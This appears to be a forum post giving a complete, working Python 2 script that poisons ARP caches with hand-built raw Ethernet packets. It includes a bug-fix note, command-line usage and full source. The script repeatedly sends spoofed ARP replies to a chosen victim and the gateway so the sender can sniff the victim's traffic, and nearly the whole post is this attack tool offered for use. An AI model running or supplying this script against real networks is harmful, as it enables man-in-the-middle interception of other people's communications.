This is a script to poison the ARP table using raw sockets. It requires Linux, and specifically at or greater than Linux 2.0. Windows simply can not do this with this script. This is an example on building packets by hand in binary form and sending to the driver at Layer 2 (network), skipping Layer 3 (ip) all together using PF_PACKET and raw sockets.
=-=-=-EDIT-=-=-=
The code is working now. The reason it wasn't before was because of using .upper() on the mac address conversions.
binascii.unhexlify(''.join(vmac.split(':'))).upper()
It was applying the upper method to the binary string. I removed it and it is working. With further testing I found out the mac address could use upper case or lower case hex chars, but have converted them to lower case before converting to binary form. Only because I plan on extending the script and want consistency. I/you can make them upper case before the conversion, but with error testing it is easier to read in lower case for me.
Anyway, code is working like a charm now. Usage:
[techb@techb_media Python]$ sudo python2 arpraw.py -h
usage: arpraw.py [-h] -vm VICTIMMAC -vi VICTIMIP -tm TARGETMAC -ti TARGETIP
[-d DELAY]
ARP poison using raw sockets
optional arguments:
-h, --help show this help message and exit
-vm VICTIMMAC, --victimmac VICTIMMAC
Victim MAC address
-vi VICTIMIP, --victimip VICTIMIP
Victim IP address
-tm TARGETMAC, --targetmac TARGETMAC
Target MAC address [gateway]
-ti TARGETIP, --targetip TARGETIP
Target IP address [gateway]
-d DELAY, --delay DELAY
Delay in seconds between sending packets [optional]
#! /usr/bin/python2
# ARP poison example using raw packets
# instead of scapy. Note that this is
# very noisey. Any half brained admin
# would notice the arp activity.
# victim == the computer we want to sniff
# target == default gateway (in most cases)
# Written by: techb
# Date: May 28 2015
# Python: Version 2.7
# OS dev on: Arch Linux
# License: None, script is public domain, but at
# least credit me if you share this.
# This script is presented 'as is' and the author
# is not responsible for misuse or errors you may get.
import binascii
import socket
import time
import argparse
def getInterfaces():
'''This function is not used here, but if you
don't know what interface you want to use
or the name of it. Since I'm on Arch they
decided it would be a good idea to make simple
interface names all fuckey '''
# NEVER import inside a function or method
# I put it here incase you used the function
# to show you need these libs for it.
import os, re
raw = os.popen("ip link show").read()
interface = re.findall(r"\d: \w+:", raw)
ilist = []
for i in interface:
ilist.append(i[:-1])
return ilist
def getOwnMac(interface):
'''Uhhhh, gets my own mac address.'''
fd = open("/sys/class/net/%s/address" % interface , "r")
mac = fd.read()
fd.close()
return mac.strip()
def buildPoison(victim, target, mymac):
'''builds the custom packet used to poison
the arp cache. Arguments should be tuples
comtaining the ip and mac. (ip, mac)'''
vip = victim[0]
vmac = victim[1].lower()
tip = target[0]
tmac = target[1].lower()
# create binary values to be sent on wire
# the mac addr conversons are very ugly but work =)
vip = socket.inet_aton(vip)
vmac = binascii.unhexlify(''.join(vmac.split(':')))
tip = socket.inet_aton(tip)
tmac = binascii.unhexlify(''.join(tmac.split(':')))
mymac = binascii.unhexlify(''.join(mymac.split(':')))
# build ethernet headers
pcode = '\x08\x06' #ARP code for eth header
veth = vmac+mymac+pcode
teth = tmac+mymac+pcode
# build arp headers
htype = '\x00\x01' # we're on ethernet
proto = '\x08\x00' # intended protocol, which is ipv4
hsize = '\x06' # mac addr size
psize = '\x04' # ip addr size
opcode = '\x00\x02' # arp option code, 2 is reply
arp = htype+proto+hsize+psize+opcode
# build spoofed portion of arp header
vspoof = mymac+tip+vmac+vip # victim
tspoof = mymac+vip+tmac+tip # target
# build final packets
vpacket = veth+arp+vspoof
tpacket = teth+arp+tspoof
return (vpacket, tpacket)
def main(v_mac, t_mac, delay=2):
'''Main loop. Can pass a delay argument, defaults to 2 seconds.'''
interface = 'enp2s0' #yours will probably be diff
my_mac = getOwnMac(interface)
s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0800))
s.bind((interface, socket.htons(0x0800)))
packets = buildPoison(v_mac, t_mac, my_mac)
print "Poisoning..."
while True:
s.send(packets[0])
s.send(packets[1])
time.sleep(delay)
if __name__ == '__main__':
ap = argparse.ArgumentParser(description="ARP poison using raw sockets")
ap.add_argument("-vm", "--victimmac", help="Victim MAC address", required=True)
ap.add_argument("-vi", "--victimip", help="Victim IP address", required=True)
ap.add_argument("-tm", "--targetmac", help="Target MAC address [gateway]", required=True)
ap.add_argument("-ti", "--targetip", help="Target IP address [gateway]", required=True)
ap.add_argument("-d", "--delay", help="Delay in seconds between sending packets [optional]", type=float)
args = ap.parse_args()
if args.delay:
main((args.victimip, args.victimmac), (args.targetip, args.targetmac), delay=args.delay)
else:
main((args.victimip, args.victimmac), (args.targetip, args.targetmac))